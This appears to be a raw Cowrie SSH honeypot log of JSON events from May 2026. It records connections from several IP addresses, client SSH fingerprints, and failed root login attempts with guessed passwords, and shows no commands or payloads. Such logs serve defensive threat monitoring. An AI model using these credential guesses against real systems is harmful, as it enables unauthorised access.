{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":39958,"dst_ip":"10.17.0.5","dst_port":22,"session":"0770be2cee8a","protocol":"ssh","message":"New connection: 141.11.21.145:39958 (10.17.0.5:22) [session: 0770be2cee8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:27.014923Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:27.095988Z","src_ip":"141.11.21.145","session":"0770be2cee8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":39972,"dst_ip":"10.17.0.5","dst_port":22,"session":"f321ab2845e2","protocol":"ssh","message":"New connection: 141.11.21.145:39972 (10.17.0.5:22) [session: f321ab2845e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:27.171528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:27.176060Z","src_ip":"141.11.21.145","session":"f321ab2845e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:27.254813Z","src_ip":"141.11.21.145","session":"f321ab2845e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:27.492898Z","src_ip":"141.11.21.145","session":"f321ab2845e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:28.574591Z","src_ip":"141.11.21.145","session":"f321ab2845e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":49574,"dst_ip":"159.203.135.109","dst_port":22,"session":"013e784e6fdc","protocol":"ssh","message":"New connection: 46.165.56.242:49574 (159.203.135.109:22) [session: 013e784e6fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:55.305685Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":51514,"dst_ip":"159.203.135.109","dst_port":22,"session":"5681cf535ebb","protocol":"ssh","message":"New connection: 138.99.80.102:51514 (159.203.135.109:22) [session: 5681cf535ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:16.352185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:16.357514Z","src_ip":"138.99.80.102","session":"5681cf535ebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:16.466660Z","src_ip":"138.99.80.102","session":"5681cf535ebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"training123","message":"login attempt [root/training123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:16.933475Z","src_ip":"138.99.80.102","session":"5681cf535ebb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:18.045961Z","src_ip":"138.99.80.102","session":"5681cf535ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":44492,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ebe268482eb","protocol":"ssh","message":"New connection: 200.108.174.4:44492 (159.203.135.109:22) [session: 2ebe268482eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:30.139125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:30.143889Z","src_ip":"200.108.174.4","session":"2ebe268482eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:30.291313Z","src_ip":"200.108.174.4","session":"2ebe268482eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:30.911306Z","src_ip":"200.108.174.4","session":"2ebe268482eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:32.061455Z","src_ip":"200.108.174.4","session":"2ebe268482eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":38720,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cea1416719d","protocol":"ssh","message":"New connection: 36.95.194.51:38720 (159.203.135.109:22) [session: 9cea1416719d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:43.893532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:43.901033Z","src_ip":"36.95.194.51","session":"9cea1416719d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:44.178218Z","src_ip":"36.95.194.51","session":"9cea1416719d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:45.316587Z","src_ip":"36.95.194.51","session":"9cea1416719d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:29:46.596085Z","src_ip":"36.95.194.51","session":"9cea1416719d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":46860,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b8a0ba4ab5","protocol":"ssh","message":"New connection: 144.91.86.102:46860 (10.17.0.5:22) [session: 01b8a0ba4ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:06.162827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:06.169421Z","src_ip":"144.91.86.102","session":"01b8a0ba4ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:06.261738Z","src_ip":"144.91.86.102","session":"01b8a0ba4ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234ABCD","message":"login attempt [root/1234ABCD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:06.672222Z","src_ip":"144.91.86.102","session":"01b8a0ba4ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:07.777694Z","src_ip":"144.91.86.102","session":"01b8a0ba4ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":39502,"dst_ip":"159.203.135.109","dst_port":22,"session":"b459f2756584","protocol":"ssh","message":"New connection: 46.165.56.242:39502 (159.203.135.109:22) [session: b459f2756584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:10.132716Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:55.329786Z","src_ip":"46.165.56.242","session":"013e784e6fdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":36504,"dst_ip":"159.203.135.109","dst_port":22,"session":"63ef2274d8bb","protocol":"ssh","message":"New connection: 138.99.80.102:36504 (159.203.135.109:22) [session: 63ef2274d8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:56.329741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:56.334635Z","src_ip":"138.99.80.102","session":"63ef2274d8bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:56.442559Z","src_ip":"138.99.80.102","session":"63ef2274d8bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkimujgik","message":"login attempt [root/dkimujgik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:56.905787Z","src_ip":"138.99.80.102","session":"63ef2274d8bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:30:58.017743Z","src_ip":"138.99.80.102","session":"63ef2274d8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":39366,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c3afb42f8f","protocol":"ssh","message":"New connection: 144.91.86.102:39366 (10.17.0.5:22) [session: c6c3afb42f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:15.891650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:15.897173Z","src_ip":"144.91.86.102","session":"c6c3afb42f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:15.996037Z","src_ip":"144.91.86.102","session":"c6c3afb42f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":35278,"dst_ip":"159.203.135.109","dst_port":22,"session":"df401092ed73","protocol":"ssh","message":"New connection: 200.108.174.4:35278 (159.203.135.109:22) [session: df401092ed73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:16.206198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:16.211519Z","src_ip":"200.108.174.4","session":"df401092ed73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:16.360498Z","src_ip":"200.108.174.4","session":"df401092ed73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ann12345","message":"login attempt [root/ann12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:16.404799Z","src_ip":"144.91.86.102","session":"c6c3afb42f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":56128,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb1ff2303edd","protocol":"ssh","message":"New connection: 36.95.194.51:56128 (159.203.135.109:22) [session: cb1ff2303edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:16.447824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:31:16.452708Z","src_ip":"36.95.194.51","session":"cb1ff2303edd","protocol":"ssh"}
